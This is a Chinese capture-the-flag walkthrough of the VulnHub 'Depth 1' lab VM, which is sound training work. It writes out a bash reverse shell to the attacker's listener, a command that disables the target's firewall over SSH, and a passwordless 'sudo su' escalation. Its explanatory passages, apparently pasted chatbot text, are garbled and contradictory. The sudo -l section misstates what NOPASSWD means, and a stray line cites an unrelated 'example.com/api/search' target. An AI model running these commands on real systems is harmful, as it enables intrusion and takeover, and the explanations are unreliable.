靶机下载地址
https://www.vulnhub.com/entry/depth-1,213/
主机发现
arp-scan -l
端口扫描
nmap -sV -A -T4 192.168.229.156
端口利用
http://192.168.229.156:8080/
目录扫描
dirb "http://192.168.229.156:8080"
dirsearch -u "http://192.168.229.156:8080"
拼接访问
提示我们可以使用命令
http://192.168.229.156:8080/test.jsp
尝试使用命令
ls -la /home
在 Linux 系统中,/home
目录通常包含每个用户的个人目录。使用 ls -la /home
命令可以查看 /home
目录下的内容,包括隐藏文件和目录。
具体的输出内容取决于系统上是否有用户创建了个人目录,以及这些用户是否有特定的权限或属性。
以下是一些常见的输出示例:
drwxr-xr-x 2 user1 users 4096 Sep 13 12:34 user1
drwxr-xr-x 2 user2 users 4096 Sep 12 08:15 user2
drwxr-xr-x 2 user3 users 4096 Sep 11 20:45 user3
其中,每行表示一个目录,其中包含以下信息:
- 权限:以
drwxr-xr-x
开头,表示目录的权限和属性。 - 硬链接数:表示目录的硬链接数,通常为 2。
- 所有者:表示目录的所有者,通常为用户名。
- 组:表示目录所属的组,通常为组名。
- 大小:表示目录的大小,以字节为单位。
- 修改时间:表示目录的最后修改时间。
- 目录名:表示目录的名称,通常为用户名。
这些信息可以帮助你了解系统上是否有个人目录,以及每个用户的个人目录的权限和属性。
反弹shell
尝试是否可以输入反弹shell命令
开启监听
nc -lvvp 6767
谷歌插件生成命令,IP是kali的ip
bash -i >& /dev/tcp/192.168.229.132/6767 0>&1
反弹失败
查看进程
ps aux
发现开启了ssh服务,之前端口扫描扫不到可能是因为防火墙开启,查看etc
ls -ls /etc
linux防火墙ufw,说明存在防火墙
在 Linux 系统中,/etc
目录通常包含系统配置文件。以下是一些与防火墙相关的文件名:
iptables.rules
:这是一个常见的文件名,用于保存 iptables 的规则。iptables.up.rules
:这是一个文件名,用于保存 iptables 的规则,在系统启动时加载。firewalld.conf
:这是一个文件名,用于配置 firewalld 服务的配置文件。ufw.conf
:这是一个文件名,用于配置 ufw(Uncomplicated Firewall)的配置文件。ufw.rules
:这是一个文件名,用于保存
尝试关闭防火墙
在 Linux 系统中,关闭防火墙的命令可能因不同的发行版而异。以下是一些常见的命令:
- Ubuntu/Debian 系列:
sudo ufw disable
- CentOS/Fedora 系列:
sudo systemctl stop firewalld
sudo systemctl disable firewalld
- Arch Linux:
sudo systemctl stop firewalld
sudo systemctl disable firewalld
- OpenSUSE:
sudo systemctl stop SuSEfirewall2
sudo systemctl disable SuSEfirewall2
这些命令将关闭系统的防火墙,并禁止防火墙在系统启动时自动启动。
请注意,上述命令需要在具有 root 权限的用户下执行。
执行命令
ssh bill@localhost sudo ufw disable
这个命令的含义是:
- 使用 SSH 连接到名为
bill
的用户的本地主机。 - 使用
sudo
命令以超级用户权限运行ufw disable
命令。
具体来说,sudo
命令用于以超级用户权限运行命令,而 ufw disable
命令用于禁用 Uncomplicated Firewall (UFW)。
在实际执行这个命令之前,你需要确保以下条件:
- 当前用户有权限使用 SSH 连接到名为
bill
的用户的本地主机。 - 名为
bill
的用户具有超级用户权限,即在系统上具有 root 权限。 - UFW 服务已经正确安装并在系统上运行。
尝试利用ssh再次反弹shell
开启监听
nc -lvvp 6767
ssh bill@localhost bash -i >& /dev/tcp/192.168.229.132/6767 0>&1
反弹成功
提权
当在Linux或Unix系统中输入sudo -l命令时,会显示当前用户能够使用sudo命令执行的命令列表。
sudo -l命令的作用是列出当前用户能够使用sudo命令执行的命令,而不需要输入密码。当用户尝试使用sudo命令执行某些命令时,系统会检查该用户的权限是否允许执行该命令。如果用户有权限执行该命令,那么sudo命令会允许用户执行该命令,否则会提示用户没有权限执行该命令。
sudo -l命令可以帮助用户了解当前用户的权限范围,以便更好地使用sudo命令执行命令。
例如,如果当前用户是admin用户,并且想要查看admin用户能够使用sudo命令执行的命令,可以输入以下命令:
sudo -l
如果输出显示admin用户有权限执行某些命令,那么说明admin用户可以使用sudo命令执行这些命令,而不需要输入密码。
如果输出显示admin用户没有权限执行任何命令,那么说明admin用户没有任何使用sudo命令执行命令的权限,或者系统配置了禁止使用sudo命令执行某些命令的策略。
sudo -l命令的输出结果可能包括以下几种情况:
- 显示当前用户能够使用sudo命令执行的命令列表,例如:
(admin) ALL = (ALL) ALL
表示admin用户可以使用sudo命令执行所有命令,并且不需要输入密码。
- 显示当前用户能够使用sudo命令执行的命令列表,并且需要输入密码,例如:
(admin) ALL = (ALL) NOPASSWD: ALL
表示admin用户可以使用sudo命令执行所有命令,但是需要输入密码。
- 显示当前用户能够使用sudo命令执行的命令列表,并且需要输入密码,并且只有在特定时间段内才可以执行,例如:
(admin) ALL = (ALL) NOPASSWD: ALL, !/usr/bin/passwd
表示admin用户可以使用sudo命令执行所有命令,但是需要输入密码,并且除了执行/usr/bin/passwd命令外,其他命令都可以不输入密码。
- 显示当前用户能够使用sudo命令执行的命令列表,并且需要输入密码,并且只有在特定时间段内才可以执行,并且需要输入特定的密码,例如:
(admin) ALL = (ALL) PASSWD: ALL, !/usr/bin/passwd
表示admin用户可以使用sudo命令执行所有命令,并且需要输入密码,并且除了执行/usr/bin/passwd命令外,其他命令都需要输入特定的密码。
需要注意的是,sudo -l命令只会显示当前用户能够使用sudo命令执行的命令列表,而不包括其他用户的权限设置。如果想要查看其他用户的权限设置,需要使用sudo命令进行操作,并且需要其他用户的密码。
因此,sudo -l命令是一个非常有用的命令,可以帮助用户了解当前用户的权限范围,以便更好地使用sudo命令执行命令。
如果没有输出结果或者显示没有权限,那么表明当前用户没有任何使用sudo命令执行命令的权限,或者系统配置了禁止使用sudo命令执行某些命令的策略。
sudo -l
根据提供的信息,我们能够得知以下内容:
- 目标 URL 是
https://example.com/api/search
。 - 使用
sudo -l
命令的输出显示,用户bill
可以以任何用户身份运行任何命令,包括root
用户。 - 用户
bill
可以以超级用户权限运行任何命令,而无需输入密码。
根据这些信息,我们可以尝试以下方法来提权:
- 使用
sudo su
命令切换到root
用户,不需要输入密码。 - 使用
sudo -u root
命令以root
用户的身份执行命令,不需要输入密码。 - 使用
sudo bash
命令以root
用户的身份启动一个新的 Bash 会话,不需要输入密码。
sudo su
whoami
id